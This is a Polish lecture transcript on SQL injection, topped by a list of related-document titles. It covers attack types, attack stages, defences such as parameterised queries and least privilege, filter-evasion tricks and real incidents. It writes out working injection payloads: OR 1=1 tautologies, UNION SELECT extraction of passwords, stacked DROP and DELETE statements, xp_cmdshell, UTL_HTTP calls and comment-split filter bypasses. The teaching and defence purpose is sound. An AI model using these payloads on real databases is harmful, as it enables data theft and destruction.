Znaj wroga i samego siebie, a możesz stoczyć sto bitew, nie zaznając porażki



Podobne dokumenty
Formy ataku SQL Injection

Wyzwalacz - procedura wyzwalana, składowana fizycznie w bazie, uruchamiana automatycznie po nastąpieniu określonego w definicji zdarzenia

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Pakiety podprogramów Dynamiczny SQL

strukturalny język zapytań używany do tworzenia i modyfikowania baz danych oraz do umieszczania i pobierania danych z baz danych

Obrona przed SQL-injection w aplikacjach Java/JEE

Microsoft SQL Server Podstawy T-SQL

Wykład 8. SQL praca z tabelami 5

Informatyka I. Programowanie aplikacji bazodanowych w języku Java. Standard JDBC.

SQL Server i T-SQL w mgnieniu oka : opanuj język zapytań w 10 minut dziennie / Ben Forta. Gliwice, Spis treści

Relacyjne bazy danych. Podstawy SQL

6. Bezpieczeństwo przy współpracy z bazami danych

Programowanie w SQL procedury i funkcje. UWAGA: Proszę nie zapominać o prefiksowaniu nazw obiektów ciągiem [OLIMP\{nr indeksu}] Funkcje użytkownika

Informatyka I. Standard JDBC Programowanie aplikacji bazodanowych w języku Java

Bezpieczeństwo systemów komputerowych

Używany kiedy pełna treść instrukcji SQL jest nieznana przed uruchomieniem programu.

DECLARE VARIABLE zmienna1 typ danych; BEGIN

Wykład 5: PHP: praca z bazą danych MySQL

Język PL/SQL. Rozdział 5. Pakiety podprogramów. Dynamiczny SQL

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Podstawy języka T-SQL : Microsoft SQL Server 2016 i Azure SQL Database / Itzik Ben-Gan. Warszawa, Spis treści

Blaski i cienie wyzwalaczy w relacyjnych bazach danych. Mgr inż. Andrzej Ptasznik

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

Język PL/SQL Procedury i funkcje składowane

Języki programowania wysokiego poziomu. PHP cz.4. Bazy danych

Projektowanie systemów baz danych

Bazy danych i usługi sieciowe

w PL/SQL bloki nazwane to: funkcje, procedury, pakiety, wyzwalacze

E.14 Bazy Danych cz. 18 SQL Funkcje, procedury składowane i wyzwalacze

T-SQL dla każdego / Alison Balter. Gliwice, cop Spis treści. O autorce 11. Dedykacja 12. Podziękowania 12. Wstęp 15

SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa

PHP: bazy danych, SQL, AJAX i JSON

Relacyjne bazy danych. Podstawy SQL

Procedury wyzwalane. (c) Instytut Informatyki Politechniki Poznańskiej 1

Internetowe bazy danych

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

Zagadnienia. Konstrukcja bibliotek mysql i mysqli w PHP. Dynamiczne generowanie stron. Połączenie, zapytanie i sesja

Bloki anonimowe w PL/SQL

Bazy Danych i Usługi Sieciowe

Składowane procedury i funkcje

Wprowadzenie do BD Operacje na bazie i tabelach Co poza zapytaniami? Algebra relacji. Bazy Danych i Systemy informacyjne Wykład 2.

DECLARE <nazwa_zmiennej> typ [(<rozmiar> )] [ NOT NULL ] [ { := DEFAULT } <wartość> ];

PRZESTRZENNE BAZY DANYCH WYKŁAD 2

Bazy Danych i Systemy informacyjne Wykład 5. Piotr Syga

Projektowani Systemów Inf.

Sprawdzenie czy połączenie przebiegło poprawnie if (mysqli_connect_errno()) { echo Błąd; Połączenie z bazą danych nie powiodło się.

Bezpieczeństwo Systemów Informacyjnych lab. 13

KOLEKCJE - to typy masowe,zawierające pewną liczbę jednorodnych elementów

Język SQL, zajęcia nr 1

Procedury i funkcje składowane

Wykład 5. SQL praca z tabelami 2

Aspekty bezpieczeństwa aplikacji internetowych

15. Funkcje i procedury składowane PL/SQL

SQL z perspektywy hakera - czy Twoje dane są bezpieczne? Krzysztof Bińkowski MCT,CEI,CEH,ECSA,ECIH,CLFE,MCSA,MCSE..

Systemy GIS Tworzenie zapytań w bazach danych

Instalacja MySQL.

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Odnawialne Źródła Energii I rok. Tutorial PostgreSQL

Systemowe aspekty baz

Bazy danych. dr inż. Arkadiusz Mirakowski

Programowanie MSQL. show databases; - pokazanie jakie bazy danych są dostępne na koncie

Baza danych do przechowywania użytkowników

Hurtownia Świętego Mikołaja projekt bazy danych

Ćwiczenia laboratoryjne nr 11 Bazy danych i SQL.

1 Wprowadzenie do bloków nazwanych 1. 2 Parametry 2. 3 Procedury i funkcje 3. 4 Pakiety 6. 5 Podsumowanie Źródła 10

Plan bazy: Kod zakładający bazę danych: DROP TABLE noclegi CASCADE; CREATE TABLE noclegi( id_noclegu SERIAL NOT NULL,

Tworzenie raportów XML Publisher przy użyciu Data Templates

Systemowe aspekty baz danych

Rozdział 17. Zarządzanie współbieżnością zadania dodatkowe

CREATE DATABASE ksiegarnia_internetowa DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;

Autor: Joanna Karwowska

PODSTAWY BAZ DANYCH 13. PL/SQL

Funkcje w PL/SQL Funkcja to nazwany blok języka PL/SQL. Jest przechowywana w bazie i musi zwracać wynik. Z reguły, funkcji utworzonych w PL/SQL-u

CREATE USER

Aby uruchomić program klienta i połączyć się z serwerem, należy komendę:

Procedury składowane. Funkcje vs. procedury Funkcja. Procedura. zazwyczaj ma parametry tylko typu IN; można wywoływać z poziomu

Język PL/SQL Pakiety podprogramów

Bazy Danych - Instrukcja do Ćwiczenia laboratoryjnego nr 8

Zbiór pytań nr 5. 2 Które stwierdzenie opisuje najlepiej zbiór uprawnień dostępny po wykonaniu

Oracle PL/SQL. Paweł Rajba.

Wydział Elektrotechniki, Informatyki i Telekomunikacji Instytut Informatyki i Elektroniki

Instrukcja podwaja zarobki osób, których imiona zaczynają się P i dalsze litery alfabetu zakładamy, że takich osbób jest kilkanaście.

Wprowadzenie do JDBC z wykorzystaniem bazy H2

Oracle PL/SQL. Paweł Rajba.

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład X

Programowanie po stronie serwera w SZBD. Robert A. Kłopotek Wydział Matematyczno-Przyrodniczy. Szkoła Nauk Ścisłych, UKSW

Języki programowania wysokiego poziomu. Ćwiczenia

Przykład 3 Zdefiniuj w bazie danych hurtownia_nazwisko przykładową funkcję użytkownika fn_rok;

Cele. Definiowanie wyzwalaczy

Podstawy programowania III WYKŁAD 2

5. Współpraca z bazą danych MySQL

Oracle11g: Wprowadzenie do SQL

Bazy danych. Wykład IV SQL - wprowadzenie. Copyrights by Arkadiusz Rzucidło 1

1. Wyzwalacze BD (ang. triggers)

Technologie baz danych WYKŁAD 7: Wyjątki

Oracle PL/SQL. Paweł Rajba.

Zaawansowane bazy danych i hurtownie danych semestr I

Transkrypt:

Plan wykładu Spis treści 1 Wstrzyknięcia SQL - typy ataku 1 2 Etapy ataku 6 3 Zabezpieczenia 6 4 Atak na zabepieczenia 8 5 Z życia wzięte 9 6 Źródła 9 Znaj wroga i samego siebie, a możesz stoczyć sto bitew, nie zaznając porażki 1 Wstrzyknięcia SQL - typy ataku Wstrzyknięcia SQL Sun Zi SQL Injection - wstrzyknięcie kodu SQL - luka w zabezpieczeniach aplikacji internetowych polegająca na nieodpowiednim filtrowaniu lub niedostatecznym typowaniu i późniejszym wykonaniu danych przesyłanych w postaci zapytań SQL do bazy danych. Podatne są na niego systemy złożone z warstwy programistycznej (przykładowo skrypt w PHP, ASP, JSP itp.) dynamicznie generującej zapytania do bazy danych. Wynika on zwykle z braku doświadczenia lub wyobraźni programisty. Schemat ataku

Niedostateczne filtrowanie danych Przykładowe zapytanie: statement = "SELECT * FROM users WHERE name = " + username + " ;" Nieodpowiednie filtrowanie znaków ucieczki z danych wejściowych pozwala na przekazanie dodatkowych parametrów do zapytania: or 1 = 1 -- or 1 = 1 ({ or 1 = 1 /* W efekcie otrzymujemy: SELECT * FROM users WHERE name = OR 1 = 1 ; Niedostateczne filtrowanie danych cd Przykładowe zapytanie wewnątrz kodu PHP: SELECT produkt_id, nazwa, opis, kwota FROM produkty JOIN zamowienia USING(produkt.id) WHERE (klient_id=$id) ORDER BY nazwa Wstrzyknięcie: 0 OR 1=1 W efekcie napastnik otrzymuje historię zamówień wszystkich klientów. 2

Niedostateczne filtrowanie danych cd Przykładowe zapytanie wewnątrz kodu PHP: SELECT produkt_id, nazwa, opis, kwota FROM produkty JOIN zamowienia USING(produkt.id) WHERE (klient_id=$id) ORDER BY nazwa Wstrzyknięcie: -1) UNION SELECT klient_id, login, haslo, 0 FROM klienci -- Napastnik otrzyma dane klientów sklepu. API dopuszczające wiele zapytań Przykładowe zapytanie: statement = "SELECT * FROM users WHERE name = " + username + " ;" Dorzucenie kolejnego polecenia: a ; DELETE FROM users; SELECT * FROM userinfo WHERE t = t W efekcie otrzymujemy: SELECT * FROM users WHERE name = a ; DELETE FROM users; SELECT * FROM userinfo WHERE t = t ; API dopuszczające wiele zapytań cd Przykładowy blok anonimowy PL/SQL: Encrypt_password( bob, mypassword ); Dorzucenie kolejnego polecenia w miejsce mypassword : Encrypt_password( bob, mypassword ); DELETE FROM users WHERE upper(username) = upper( admin ); Wstrzyknięcie do argumentów funkcji Wstrzyknięcie może nastapić poprzez argumenty funkcji składowanych lub funkcji użytkownika. Zmiany w bazie danych będą możliwe jedynie, gdy zaatakowana funkcja będzie: zagnieżdżona wewnątrz INSERT, UPDATE, lub DELETE będzie stanowiła odrębną transakcję (PRAGMA TRANSACTION) 3

Przykładowe zapytanie: SELECT TRANSLATE( user input, 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, 0123456789 ) FROM dual; Po ataku: SELECT TRANSLATE( UTL_HTTP.REQUEST( http://192.168.1.1/ ), 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, 0123456789 ) FROM dual; lub: SELECT TRANSLATE( myappadmin.adduser( admin, newpass ), 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, 0123456789 ) FROM dual; Przeładowanie bufora Istnieją funkcję, które po wywołaniu z nieprawidłowymi argumentami spowodują przeładowanie bufora: tz_offset (przesunięcie godzinowe zadanej parametrem strefy względem strefy czasowej ustawionej na serwerze) to_timestamp_tz (konwersja łańcuchów na znacznik czasowy) bfilename (zwraca lokator do obiektu BFILE) Wstrzyknięcia w dynamicznym SQL u Przykładowa procedura PL/SQL: CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS sql VARCHAR2; code VARCHAR2; --... sql := SELECT postal-code FROM states WHERE state-name = name ; EXECUTE IMMEDIATE sql INTO code; --IF code = IL THEN... Można wstrzyknąć: Some Name ; GRANT CONTROL TO [Malicious User]; PRINT Game over! This system is no longer yours! -- Malicious User now can control the database!!! 4

Wstrzyknięcia w dynamicznym SQL u cd Przykładowa procedura PL/SQL: CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS -- bardzo niebezpieczne EXECUTE IMMEDIATE updatepass( value ); ; Można wstrzyknąć dowolną serię instrukcji. Wykorzystanie uprawnień Przykładowe zapytanie: statement = "SELECT * FROM users WHERE name = " + username + " ;" Dorzucenie kolejnego polecenia: a ; DROP TABLE users; DROP DATABASE SKLEP; SELECT * FROM userinfo WHERE t = t W efekcie otrzymujemy: SELECT * FROM users WHERE name = a ; DROP TABLE users; DROP DATABASE SKLEP; SELECT * FROM userinfo WHERE t = t ; Wykorzystanie uprawnień cd Przykładowe zapytanie: statement = "SELECT * FROM users WHERE name = " + username + " ;" Dorzucenie kolejnego polecenia: a ; exec master..xp_cmdshell iisreset /stop -- Dla źle skonfigurowanej bazy MS SQL Server pod Windows, spowoduje to zatrzymanie serwera. Atak z poziomu systemu Jeśli konto, z którego korzystamy, ma uprawnienia do odczytu i zapisu, da się wówczas przesłać do bazy danych pliki zawierające hasła lub informacje konfiguracyjne. W podobny sposób można zmieniać hasła lub nadpisywać pliki systemowe. 5

Ślepe wstrzyknięcia Ślepy atak (ang. blind injection) jest wykonywany na aplikacji, która nie wyświetla komunikatów błędów (zastosowano paradygmat security through obscurity). sprawdzenie, czy aplikacja jest podatna na wstrzyknięcia, poprzez porównanie efektu działania dwóch zapytań: SELECT booktitle FROM booklist WHERE bookid = OOk14cd AND 1 = 1 ; SELECT booktitle FROM booklist WHERE bookid = OOk14cd AND 1 = 2 ; wymuszenie błędu dla dobrze zadanego warunku: SELECT 1/0 FROM users WHERE username= Ralph ; wprowadzenie opóźnień czasowych SELECT booktitle FROM booklist WHERE bookid = OOk14cd AND BENCHMARK(999999,BENCHMARK(999999, BENCHMARK(999999,MD5(NOW()))))=0 OR 1 = 1 2 Etapy ataku Etapy ataku - Walidacja wejścia Walidacja wejścia - sprawdzenie luk poprzez kontrolę punktów wejściowych : pól w formularzach, parametrów skryptów w zapytaniach wysyłanych jako część adresów URL, wartości przechowywanych w plikach cookies, które są wysyłane do aplikacji sieciowej, wysyłanych wartości znajdujących się w ukrytych polach, reakcja na wprowadzenie opóźnień. Zbieranie informacji Etap zbierania informacji składa się z następujących elementów: mechanizmy wyjścia (czy wyświetla jawnie wyniki, czy wyświetla informacje o błędach) identyfikowanie rodzaju zapytania (SELECT, UPDATE, EXEC, INSERT, DELE- TE, CREATE itp) identyfikowanie serwera bazy danych (poprzez specyficzne zapisy, operatory, funkcje) rozpoznawanie stopnia uprzywilejowania użytkownika 6

Przeprowadzenie ataku 1=1 Rozpoznanie struktury bazy danych Odróżnienie kolumn numerycznych od alfanumerycznych Wyświetlenie wszystkich tabel zdefiniowanych przez użytkownika Wydobycie informacji Wydobycie nazw użytkowników i haseł Umieszczenie własnego użytkownika dla aplikacji Dysponując odpowiednimi uprawnieniami, napastnik może również utworzyć własne konto w bazie danych 3 Zabezpieczenia Zabezpieczanie na poziomie aplikacji Niedopuszczenie do nieuprawnionej zmiany wykonywanego zapytania \, dzięki cze- addslashes() dodaje backslash przed znakami, takimi jak, " czy mu znaki te nie są traktowane jak znaki specjalne DBI::quote czy mysql_real_escape_string() - jw. is_numeric(num) - sprawdza czy zmienna jest wartością numeryczną rzutowanie na typ liczbowy parametrów numerycznych wykorzystanie parametryzacji charakterystycznej dla danego API $query = $sql->prepare("select * FROM users WHERE name =?"); $query->execute($user_name); nie wstawianie zmiennych poprzez konkatenację łańcuchów jasne zdefiniowanie typu danych przypisanych do każdego pola - tzn. tylko wejście o określonym formacie może być dalej przetwarzane, wejście o podejrzanym formacie jest natychmiast odrzucane implementacja filtrów SQL odrzucających podejrzane formuły z klauzulami SELECT, UPDATE itp. Przykład zabezpieczenia Procedurę PL/SQL: CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS -- bardzo niebezpieczne EXECUTE IMMEDIATE updatepass( value ); ; powinniśmy zapisać następująco: 7

CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS -- poprawnie cmd := updatepass(:1); ; EXECUTE IMMEDIATE cmd USING value; Przykład zabezpieczenia Kod java: String name = request.getparameter("name"); PreparedStatement pstmt = conn.preparestatement("insert into EMP (ENAME) values ( " + name + " )"); pstmt.execute(); pstmt.close(); powinniśmy zapisać następująco: PreparedStatement pstmt = conn.preparestatement ("insert into EMP (ENAME) values (?)"); String name = request.getparameter("name"); pstmt.setstring (1, name); pstmt.execute(); pstmt.close(); Zabezpieczenie na poziomie bazy danych minimalizacja uprawnień = minimalizacja szkód sprawdzenie skuteczności ( siły ) hasła użytkownika zmiana uprawnień i usunięcie publicznego dostępu do obiektów publicznych w bazie danych stosowanie procedur składowanych (zapytanie budowane jest po stronie bazy danych i aplikacja nie ma bezpośredniego wpływu na jego postać) stosowanie wyzwalaczy Zabezpieczenie na poziomie serwera aplikacji/www instalacja dodatkowych modułów serwera warstwy aplikacyjnej np dla Apache: mod_security - filtruje wg zdefiniowanych reguł przychodzące żądania i blokuje te potencjalnie groźne. Reguły pozwalają na wychwycenie typowych uniwersalnych ataków lub znanych luk w popularnych aplikacjach. Wadą rozwiązania jest możliwość zablokowania także pożądanych wywołań. mod_rewrite - pozwala m.in. na wykonanie przekierowania przychodzącego żądania pod zupełnie inny adres na serwerze; poprzez modyfikację adresu URL strony można ukryć oryginalną nazwę skryptu i wykorzystywane przez niego parametry. 8

4 Atak na zabepieczenia Ataki na zabezpieczenia systemy zabezpieczające wyłapują zapis OR 1=1, zaś atakujący często wykorzystują dowolny warunek zawsze zwracający prawdę: OR unusual = unusual OR something = some + thing OR text = N text OR something like some% OR 2 > 1 OR text > t OR whatever IN ( whatever ) OR 2 BETWEEN 1 AND 3 użycie addslashes() (przykład w PHP) lub magic_quotes_gpc(), nie zapobiega możliwości ataku na pola numeryczne - użycie różnego kodowania znaków, np. Unicode/UTF 8, Hex ominięcie zabezpieczeń poprzez wielokrotne komentowanie, UNION/**/SELECT/**/ /**/OR/**/1/**/=/**/1 rozbicie złośliwego kodu na wiele linii, USERNAME: or 1/* PASSWORD: */ =1 -- specyficzna konkatenacja łańcuchów lub UNI/**/ON SEL/**/ECT ; EXECUTE IMMEDIATE SEL ECT US ER 5 Z życia wzięte Przykłady z życia wzięte 2005 r. - tajwański uczeń kradnie dane klientów Tech Target Group 2006 r. - Rosjanin kradnie dane dotyczące kart kredytowych z serwisów urzędów Rhode Island 2007 r. - wstrzyknięcie na brytyjskiej stronie Microsoft 2008 r. - zmasowane wstrzyknięcie wykorzystujace luki serwera MS SQL 2009 r. - kradzież 130 milionów numerów kart kredytowych w Stanach Zjednoczonych 19 września 2010 r. - wstrzyknięcie wewnątrz głosu oddanego na stronie umożliwiającej głosowanie w czasie wyborów w Szwecji 8 listopada 2010 r. - wstrzyknięcie dokonane na stronie British Royal Navy 9

Z ostatniej chwili 5 luty 2011 r. - włamanie na stronę HBGary 27 marca 2011 r. - oficjalna strona MySQL została skutecznie zaatakowana z wykorzystaniem ślepego ataku Sierpień 2011 - kradzież danych użytkowników z Nokia developer site Maj 2012 - zamknięcie strony Wurm Online podczas jej aktualizacji 6 Źródła Źródła W wykładzie wykorzystano materiały: http://webhosting.pl/sql.injection..jak.hakerzy.omijaja.zabezpieczenia. stron.www. www.net-security.org/dl/.../integrigyintrotosqlinjectionattacks.pdf Wikipedia http://www.poradnik-webmastera.com/artykuly/bazy_danych/sql_injection. php 10